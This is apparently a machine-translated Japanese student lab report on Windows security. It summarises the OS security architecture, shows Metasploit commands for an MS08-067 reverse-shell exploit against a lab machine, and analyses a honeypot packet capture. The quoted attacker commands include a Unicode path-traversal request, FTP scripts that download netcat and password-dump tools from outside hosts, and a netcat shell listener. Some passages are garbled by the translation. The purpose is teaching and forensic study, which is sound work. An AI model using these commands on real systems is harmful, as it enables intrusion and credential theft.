仕事の説明
この割り当ての要件はどこにありますか:割り当て要求へのリンク
このコースの目標は、ネットワーク攻撃と防御関連のテクノロジーを学び、実践することです。
この割り当ては、特定の側面で私の目標を達成するのに役立ちます:Windowsオペレーティングシステムの攻撃および防御技術を学ぶこと
宿題
1.実践内容+知識ポイントの要約
Windowsオペレーティングシステムの基本フレームワーク
-
全体にWindows カーネルモード(カーネルモデル)と、ユーザーモード(ユーザーモデル)。
-
通常、CPUには複数の特権レイヤーがあり、Intelの386CPUにはレイヤー0からレイヤー3までの4つの特権レイヤーがあります。このうち、レイヤー0は最高の特権を持ちます。つまり、任意のコードを実行でき、レイヤー3は最低の特権を持ち、限られたコードしか実行できません。
-
Windowsは、CPUのレイヤー0でカーネルモードを実行し、CPUのレイヤー3でユーザーモードを実行します。カーネルモードでは、安全で悪意のある攻撃を受けないコアコードが実行されます。ユーザーモードで実行されているアプリケーションは、最も安全性が低く、攻撃に対して脆弱であるため、アプリケーションのアクセス許可が制限されます。
-
Windowsオペレーティングシステムの基本構成の概略図
-
Windowsプロセスとスレッド管理メカニズム:Windowsは、実行可能プログラムの実行時に、プライベート仮想メモリ空間記述子、システムリソースオブジェクトハンドルのリスト、ユーザーアカウントを実行する権限を持つセキュリティアクセストークンなどのプロセスをコンテナーとして扱い、プロセスを記録しますIDとその親プロセスIDおよびその他の情報であり、プロセスの内部実行本体として少なくとも1つの実行スレッドが含まれています。命令実行の特定のキャリアとしてのスレッド。そのスレッド制御ブロックTCBには、プログラム実行のコンテキスト情報が含まれています。
-
Windowsメモリ管理メカニズム:Windowsの仮想メモリ空間は、システムコアメモリ間隔とユーザーメモリ間隔に分かれています。32ビットWindowsシステムの場合、2GB〜4GB間隔はシステムコアメモリであり、0GB〜2GB間隔はユーザーモードメモリです。
-
Windowsファイル管理メカニズム:WindowsシステムはNTFSファイルシステムを使用しており、NTFSファイルシステムはACLアクセス制御リストに基づいており、ファイルリソースの読み取り/書き込みのセキュリティを確保しています。Windowsの実行可能ファイルは、主にDoSヘッダー、PEヘッダー、セグメントテーブル、および特定のコードセグメントとデータセグメントで構成されるPE形式を使用します。
-
Windowsレジストリ管理メカニズム:Windowsレジストリは、システム独自のregedit.exeレジストリ検索編集ツールまたは他のサードパーティツールを介してアクセスおよび変更できます。RegMonなどのツールを使用して、システムのレジストリ読み取りおよび書き込み操作を監視できます。
-
Windowsネットワークメカニズム:Windowsネットワークコンポーネントモジュールには、さまざまなネットワークカードハードウェアデバイスドライバー、NDISライブラリとミニポートドライバー、TDIトランスポート層(ネットワークプロトコルドライバー)、ネットワークAPI DLLとTDIクライアント、ネットワークアプリケーションとサービスプロセスが含まれます。詳細については、以下の表を参照してください。
Windowsネットワークコンポーネントモジュール | OSIの7層に相当 | 説明文 |
---|---|---|
各ネットワークカードハードウェアデバイスのドライバー | 物理層 | 通常、サードパーティのハードウェアメーカーから提供されます |
NDISライブラリとmimiportドライバー | リンク層 | 異なるネットワークカードドライバーとTDIトランスポート層の間のカプセル化インターフェースの構築 |
TDIトランスポート層(ネットワークプロトコルドライバー) | ネットワーク層、トランスポート層 | 断片化と再構成、注文の確認と再送信などの一連の操作を透過的に実行することにより、上位層のネットワークアプリケーションに便利なサポートを提供します |
ネットワークAPI DLLおよびTDIクライアント | セッション層、プレゼンテーション層 | ネットワークAPI DLLは、特定のプロトコルから独立したネットワークの相互作用と実装をアプリケーションに提供します。TDIクライアントは、ネットワークAPIインターフェースの特定の実装です |
ネットワークアプリケーションサービスプログラムとサービスプロセス | アプリケーション層 | ネットワーク相互作用と通信機能を実現 |
Windowsオペレーティングシステムのセキュリティアーキテクチャとメカニズム
セキュリティアーキテクチャ
- Windowsのセキュリティアーキテクチャは、リファレンスモニターの従来のセキュリティモデルに基づいています。
- その核となるのは、カーネルにあるSRMセキュリティ参照モニター、およびユーザーモードにあるLSASSセキュリティサービスです。Winlogin/ EventlogおよびEventlogおよびその他の関連サービスと共に、サブジェクトユーザーとすべてのリソースオブジェクトのID認証メカニズムを実装します。アクセスのためのアクセス制御メカニズムとセキュリティ監査メカニズム。
- Windowsシステムセキュリティアーキテクチャの概略図:
ID認証メカニズム
- セキュリティサブジェクト:ユーザー、ユーザーグループ、コンピューター
- セキュリティサブジェクトごとに、時間と空間でグローバルに一意のSIDセキュリティ識別子によって識別されます。
- Windowsは、管理する各ユーザーおよびコンピューターのアカウントをセットアップし、各アカウントのアカウント制限を設定して、これらのアカウントで実行されているプログラムのシステムリソースオブジェクトへのアクセスを制限します。ユーザーアカウントを特定のユーザーグループに追加することにより、これにより、ユーザーはユーザーグループによって構成されたすべての権限を持つことができ、制限制御の作業負荷が軽減されます。
- Windowsユーザーアカウントのパスワードは暗号化され、SAMまたはActive Directory ADに保存されます。LocalSystemアカウントのみがパスワードを読み取ることができますが、ハッカーはSAMをメモリからダンプできるテクノロジーを発見しました。
- Winlogonプロセス、GINAグラフィカルログインウィンドウ、LSASSサービスが連携して、ローカルID認証プロセスを完了しますネットワークID認証プロセスは、LSASSサービスのNetlogonモジュールが主導します。
承認とアクセス制御メカニズム
- Windowsの承認およびアクセス制御メカニズムは、参照モニターモデルに基づいています。これは、カーネルのSRMモジュールとユーザーモードのLSASSサービスによって実装されます。SRMは、セキュリティサブジェクトが設定されたアクセス制御リストに従ってターゲットリソースにアクセスするときの仲介者として使用されます。アクセスを許可します。
- 保護する必要のあるシステム内のすべてのリソースは、オブジェクト(ファイル、ディレクトリ、レジストリキー、カーネルオブジェクト、同期オブジェクト、プライベートオブジェクト、パイプ、メモリ、通信インターフェイス)に抽象化されます。
- 各オブジェクトは、SDセキュリティ記述子に関連付けられています:所有者SID、グループSID、DACL自律アクセス制御リスト、SACLシステム監査アクセス制御リスト。
- Windowsシステムの基本的なアクセス制御メカニズムとオブジェクトセキュリティモデルを次の図に示します。
セキュリティ監査メカニズム
- LSASSサービスは監査戦略を保存します。SRMがオブジェクトアクセス許可を実行すると、監査レコードもLSASSサービスに送信され、EventLogサービスがレコードを書き込みます。
その他のセキュリティメカニズム
- セキュリティセンター(ファイアウォール、パッチ、ウイルス保護)、IPsecロードおよび検証メカニズム、EPS暗号化ファイルシステム、ファイル保護メカニズム、バンドルされたIEブラウザーによって提供されるプライバシー保護およびブラウザーセキュリティ保護メカニズム
Windowsリモートセキュリティ攻撃および防御テクノロジー
- 現在、Windowsリモート攻撃テクノロジには次のカテゴリがあります。
- リモートパスワードの推測とクラッキング攻撃
- Windowsネットワークサービスを攻撃する
- Windowsクライアントとユーザーを攻撃する
Windowsリモートパスワード推測攻撃とクラッキング攻撃
- リモートパスワード推測:
- 攻撃チャネル:SMBプロトコル、その他にはWMIサービス、TSリモートデスクトップターミナルサービス、mysqlデータベースサービス、SharePointが含まれます。
- ツール:Legion、enum、smbgrind、NTScan、XScan、ストリーマー、NTScan中国語バージョン。
- 理論的根拠:要求された共有ファイルまたはプリンターへのアクセスをネットワークユーザーに許可することを決定する前に、SMBサービスは最初に認証します。この時点で、ユーザーは正しいパスワードを入力し、攻撃者はリモートパスワード推測攻撃をシステムに実行します。システムには多数の脆弱なパスワードがあるため、リモートパスワード推測が可能になります。
- リモートパスワード交換通信の盗聴とクラッキング:
- 攻撃チャネル:NTLM、LanMan、NTLMV2およびkerberosネットワーク認証プロトコルの弱点。
- ツール:L0phtcrack、Cain、Abel
- リモートパスワードの推測とクラッキング防止対策:不要な脆弱なネットワークサービスを閉じて、特定のポートサービスを制限するようにホストファイアウォールを構成し、これらのサービスへのアクセスを制限するようにネットワークファイアウォールを構成し、古くてセキュリティに欠陥のあるLanmanとNTLMを無効にします強力なパスワード戦略。
Windowsネットワークサービスのリモート侵入攻撃
- タイプ:
- NETBIOSサービスに対する攻撃(Windows LANネットワークの基本的なサポート)。
- SMBサービスに対する攻撃。
- MSRPCサービスに対する攻撃(リモートプロシージャコール)。
- Windowsシステム上のMicrosoftネットワークに対するリモート侵入攻撃。
- Windowsシステム上のサードパーティサービスに対するリモート侵入攻撃。
- 予防策:設計と開発のルーツからセキュリティの脆弱性の発生を減らし、パッチの脆弱性をタイムリーに修復し、ソフトウェアのセキュリティパッチをできるだけ早く更新して適用します。脆弱性の期間中、管理者はセキュリティの影響を受けやすいサーバーをテストし、利用可能な攻撃軽減構成をできるだけ早く実装する必要があります。サービスソフトウェアベンダーとコミュニティが提供するセキュリティチェックリストを使用して、サービスのセキュリティを構成し、いくつかのセキュリティプラグインを使用し、脆弱性スキャンソフトウェアを使用します。脆弱性をスキャンし、時間内に修正します。
Metasploit侵入テスト:
- 基本的なライブラリファイル:Rex、framework-core、framework-baseなど。
- モジュール:補助モジュール、侵入攻撃モジュール(アクティブおよびパッシブ)、攻撃負荷モジュール(侵入攻撃が成功した後にターゲットシステムを実行するため)、nullコマンドモジュール、エンコーダーモジュール、侵入後モジュール(機密情報を取得するため)。
Windowsシステムのローカルセキュリティ攻撃と防御技術
- Windowsローカル権限昇格
- ローカル権限の昇格には、3つの一般的な方法があります。オーバーフロー権限の昇格、ウィンドウの誤ったシステム構成、スケジュールタスク権限の昇格です。
- 予防策:タイムリーなパッチ適用とメーカーのセキュリティ警告のフォローアップ
- Windows機密情報の盗難
- Windowsシステムパスワードの暗号文抽出技術、Windowsシステムパスワードのワードクラッキング技術、ユーザーの機密情報の盗難などの手段を含む
- 予防措置:クラッキングに抵抗できる高セキュリティのパスワードを使用する
- 窓は道を一掃する
- 主な手段としては、監査機能を閉じ、イベントログをクリーンアップします。
- 注意事項:システム監査機能とネットワークサービス監査機能を実装し、ログを安全なサーバーに転送します。
- リモコンとバックドア
- 主な手段には、主にコマンドラインリモートコントロールプログラムとグラフィカルリモートコントロールプログラムを含む、サードパーティのリモートコントロールとバックドアプログラムを被制御ホストに埋め込むことが含まれます。
- 防止策:バックドア検出ソフトウェアを使用して、攻撃者によって隠されたバックドアプログラムを見つけようとします。
2.実践プロセス
実践的な実践:Metasploit Windows Attack
- タスク:Windowsリモート侵入攻撃実験にMetasploitソフトウェアを使用する
- 特定のタスクの内容:Windowsアタッカー/ BT4攻撃マシンを使用して、Windowsメタスプリット可能なターゲットマシンのMS08-067脆弱性に対するリモート侵入攻撃を試み、ターゲットホストへのアクセスを取得します。
- 練習手順:
- metasploitソフトウェアを起動し、個人の好みに応じてmsfconsole、msfgui、msfwebのいずれかを使用します。
- エクスプロイトを使用する:Windows / smb / ms08_067_netapi侵入攻撃モジュール。
- リモートシェルとしてPAYLOADを攻撃することを選択します(フォワードまたはリバース。両方を接続できます)。
- 侵入攻撃パラメータ(RHOST、LHOST、TARGETなど)を設定します。
- 侵入攻撃を実行します。
- リモートシェルが正しく取得されているか確認し、取得した権限を確認してください。
実験環境 | ip |
---|---|
攻撃機カリ | 192.168.200.3 |
ターゲットマシンWin2KServer | 192.168.200.124 |
- 次のコマンドを使用して、Kali攻撃マシンのターミナルでMetasploitに入ります。
sudo su
sudo apt-get install metasploit-framework
msfconsole
-
コマンドを使用して、
search ms08_067
以下に示すように、脆弱性の詳細を表示ライブラリ内の関連する浸透モジュールを見つけるの結果を利用するために、脆弱性モジュールに対して利用可能侵入攻撃を
-
その後、コマンドは
use exploit/windows/smb/ms08_067_netapi
カーリー我々はms08_067ターゲットの脆弱性を伝えます
-
useコマンドは
show payloads
、適用されるすべてのロード・モジュールを含む能動負荷攻撃を表示します
-
オプション3、逆接続。コマンド使用して
set PAYLOAD generic/shell_reverse_tcp
攻撃逆接続、TCPのセット荷重を
-
コマンドを使用して、
show options
攻撃データを表示するために、我々は、図1に示すようにフラグを設定する必要があります。
-
ロード・モジュールのために必要なモジュール構成の侵入攻撃と攻撃のパラメータ、
set LHOST 192.168.200.3
攻撃カーリー・マシンのアドレス、set RHOST 192.168.200.124
アドレスドローンとして、再び持つshow options
ビューのパラメータの現在のリストと、デフォルトのデバイス、
-
このコマンドは
show targets
、設定可能なオペレーティングシステムの種類を表示するにはset TARGET 0
、自動0として、ターゲット・オペレーティング・システム・プラットフォームを選択します
-
コマンドを使用します
exploit
ので、長い間、私は私が失敗した実験ではないと思ったことを、このような長い時間のためのプロセスとして、浸透し始めました。。。
-
その後、最後の画面のインターフェイスに留まり、Enterキーを押すと成功しました。使用し
ipconfig
た認証コマンドが成功すると、攻撃が成功しました。
実用的なフォレンジック分析の実践:成功したNTシステムクラッキング攻撃のデコード
- タイトル:攻撃プロセス全体のバイナリレコードファイルsnort-0204 @ 0117によると、213.116.251.162からの攻撃者がrfpによってデプロイされたハニーポットホスト172.16.1.106(ホスト名:lab.wiretrip.net)を侵害した攻撃のプロセス全体をログに記録し、抽出して分析します。
- 攻撃者が攻撃に使用したクラックツールは何ですか?
- 攻撃者はこのクラッキングツールをどのように使用してシステムに入り、システムを制御しましたか?
- システムにアクセスした後、攻撃者は何をしましたか?
- このような攻撃を防ぐにはどうすればよいですか?
- 攻撃者は標的がハニーポットのホストであることを警戒していると思いますか?はいの場合、なぜですか?
攻撃者が攻撃に使用したクラックツールは何ですか?
- Wiresharkでバイナリファイルを開く
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
それをフィルタリングし、攻撃者とターゲット間のパケットを表示します- 攻撃者とターゲットホストがTCPの「3つのハンドシェイク」の後に接続を確立したことがわかります。3ウェイハンドシェイクの後、攻撃者は最初にターゲットマシン
http://lab.wiretrip.net/Default.htm
にアクセスし、ターゲットマシンのオペレーティングシステムはWindows NT 5.0であることがわかります。
- その後、攻撃マシンはhttp getリクエストをターゲットホストに送信してリソースを取得しています。最初、getの内容はいくつかのgif画像です。76行目に、default.aspファイルが表示されます。
ASPは「動的サーバーページ」を意味し、バックグラウンドスクリプト言語で一般的なPHPと同じです。ASPファイルを実行するために必要なサーバーはIISサーバーです。
- 117行目に行き、見つけた
GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
- 説明攻撃機は
http://lab.wiretrip.net/guest/default.asp
されたUnicode
攻撃をコード化し、NTシステムのブートファイルを開くになってboot.ini
いるため、%C0%AF
として/
Unicodeエンコーディング。 - 次に、130、140、149の番号がすべて含ま
msadc
れており、データパケット149に次のコンテンツが含まれていることがわかりました。
- 攻撃者によって
msadcs.dll
存在SQLインジェクション攻撃への脆弱性をRDS、およびコマンドを実行しcmd /c echo werd >> c:\fun
、文字列によって特徴づけられるADM!ROX!YOUR!WORLD
複数回表示される、情報によると、攻撃にMSADC(2).plの侵入攻撃ツールによって開始されるように問い合わせることができます。
攻撃者はこのクラッキングツールをどのように使用してシステムに入り、システムを制御しましたか?
- フィルタ条件を削除し、セッションから見下し続ける
1778-80
TCPストリームを追跡することによって、始め、見つけた命令に続きます
SESSION:1778-80 cmd /c echo user johna2k > ftpcom
SESSION:1780-80 cmd /c echo hacker2000 > ftpcom
SESSION:1782-80 cmd /c echo get samdump.dll > ftpcom
SESSION:1784-80 cmd /c echo get pdump.exe > ftpcom
SESSION:1786-80 cmd /c echo get nc.exe > ftpcom
SESSION:1789-80 cmd /c echo quit >> ftpcom
SESSION:1791-80 cmd /c ftp -s:ftpcom -n www.nether.net
-
これらの指示から、攻撃マシンはftpを使用してターゲットマシンに接続しようとし、ftpcomスクリプトを作成し、ftpを使用してwww.nether.netに接続し、samdump.dll、pdump.exeおよびnc.exe(攻撃ツール)をダウンロードしようとしていることがわかります
-
セッション1791-80の後、308データがftpになり始め、攻撃者がftp接続、TCPフロー追跡を実行し始めました。攻撃者がFTPサーバーに接続しようとしたが失敗したことがわかります
-
ftpを直接フィルタリングすると、攻撃者が1106番でFTPサーバーに正常に接続したことがわかります。
-
次に、攻撃者が1106の前に発行した指示を見ると、TCPフローを追跡することにより、攻撃者がUnicode脆弱性攻撃を使用していることがわかりました(おそらく、攻撃者はいくつかのRDS攻撃侵入攻撃を試みて成功せず、Unicode攻撃に切り替えました)。そして、攻撃者が次のコマンドを送信したことがわかりました。
SESSION:1874-80 copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80 cmd1.exe /c open 213.116.251.162 >ftpcom
SESSION:1876-80 cmd1.exe /c echo johna2k >>ftpcom
SESSION:1877-80 cmd1.exe /c echo haxedj00 >>ftpcom
SESSION:1879-80 cmd1.exe /c echo get nc.exe >>ftpcom
SESSION:1880-80 cmd1.exe /c echo get pdump.exe >>ftpcom
SESSION:1881-80 cmd1.exe /c echo get samdump.dll >>ftpcom
SESSION:1882-80 cmd1.exe /c echo quit >>ftpcom
SESSION:1885-80 cmd1.exe /c ftp -s:ftpcom
- 攻撃者は、1224という数字を逆に見て、コマンドを実行しました
cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。攻撃者がポート6969(セッション1887-80)に接続し、アクセス権を得たことを示します。この時点で、攻撃者はシステムに入り、アクセスを取得するプロセスを完了しています。
システムにアクセスした後、攻撃者は何をしましたか?
-
条件では
tcp.port == 6969
、攻撃者がTCPストリームについて何が行われたかを追跡するシステムへのアクセスを得るためにかどうかを確認するためにスクリーニング:
-
まず、攻撃者はファイルやアクセス許可の表示、スクリプトの削除など、いくつかの一般的な操作を実行しました。攻撃者がローカルの管理者特権を取得し、実行
net session
(セッションの一覧表示)したいが、アクセスが制限されて実行さnet users
れていることがわかると、ホストに返されるユーザーリストには管理者が1人だけです。
-
次に、攻撃者はCドライブのルートディレクトリファイルにエコーメッセージを送信しました
-
別の試みに続いて
net group
、ユーザ・グループを表示して、net localgroup
ローカルユーザーグループを表示し、net group domain admins
管理者のグループを表示するが、これらは失敗しています。
-
pdumpを使用してパスワードをクラックする試みは失敗したようです。攻撃者はsamdumpとpdumpをあきらめて削除しました
このような攻撃を防ぐにはどうすればよいですか?
- これらの脆弱性にパッチを適用します。
- 不要なRDSなどのサービスを無効にします。
- ファイアウォールは、ネットワーク内のサーバーによって開始された接続をブロックします。
- 仮想ルートディレクトリをWebサーバー用の別のファイルボリュームに設定します。
- FATにはセキュリティ機能がほとんどないため、NTFSファイルシステムを使用してください。
- IIS LockdownやURLScanなどのツールを使用して、Webサーバーを強化します。
攻撃者は標的がハニーポットのホストであることを警戒していると思いますか?はいの場合、なぜですか?
- 攻撃者は次のようにTCPストリームに入力したため、標的がハニーポットホストであることを知っていました。
C:>echo best honeypot i've seen till now :) > rfp.txt
実践的な作業チームの対決の実践:Windowsシステムのリモート侵入攻撃と分析
-
タイトル:
- 攻撃者はメタスプロイトを使用し、メタスプロイタブルの脆弱性を選択して侵入攻撃を実行し、制御を獲得します。
- 防御側は、wiresharkを使用してネットワーク攻撃のパケットファイルを監視および取得し、wiresharkと組み合わせて攻撃プロセスを分析して、攻撃者のIPアドレス、宛先IPアドレスとポート、攻撃開始時間、攻撃の悪用の脆弱性、使用された攻撃シェルコード、および攻撃の成功後を取得します。ローカルで実行されるコマンドの情報を入力します。
-
そして、最初の練習では、入力のよう
exploit
な攻撃の前に、開いているwiresharkのは、攻撃者カーリーリッスンします。(ターゲットマシンにはWiresharkがないため、KaliでWiresharkを使用して監視しました。効果は同じです) -
TCPスリーウェイハンドシェイクの後に、MS08-067の脆弱性であると推測して、多くのSMBパケットが送信されたことがわかります。これは、脆弱性はMS08_067を介しているためである
MSRPC over SMB
サーバサービスルーチン呼び出しチャネルNetPathCanonicaliza
機能、この関数は、攻撃者がリモートでコードの実行を獲得することにより、バッファオーバーフロースタックう論理エラーが発生しました。
-
パケットキャプチャの結果から、以下を分析できます。
- 攻撃マシン:、
192.168.200.3
ポート36537
:;ターゲットマシン:、192.168.200.124
ポート:445
- 攻撃開始時間:ARPプロトコルの照会から開始。
- 攻撃マシン:、
-
攻撃によって悪用される脆弱性:SMBネットワークサービスを標的とする脆弱性、DCERPCパーサーのサービス拒否の脆弱性、SPOOLSS印刷サービスの偽造の脆弱性(MS10-061)
-
ターゲットマシン
ipconfig
でを入力し、wiresharkでTCPデータフローをトレースし、このコマンドを見つけます。ローカルで実行されたコマンドの入力情報を表示できます。
3.学習と解決策で遭遇する問題
- 質問1:成功したNTシステムクラッキング攻撃をデコードすることは非常に困難です。。。
- 問題1の解決策:詳細をご覧ください。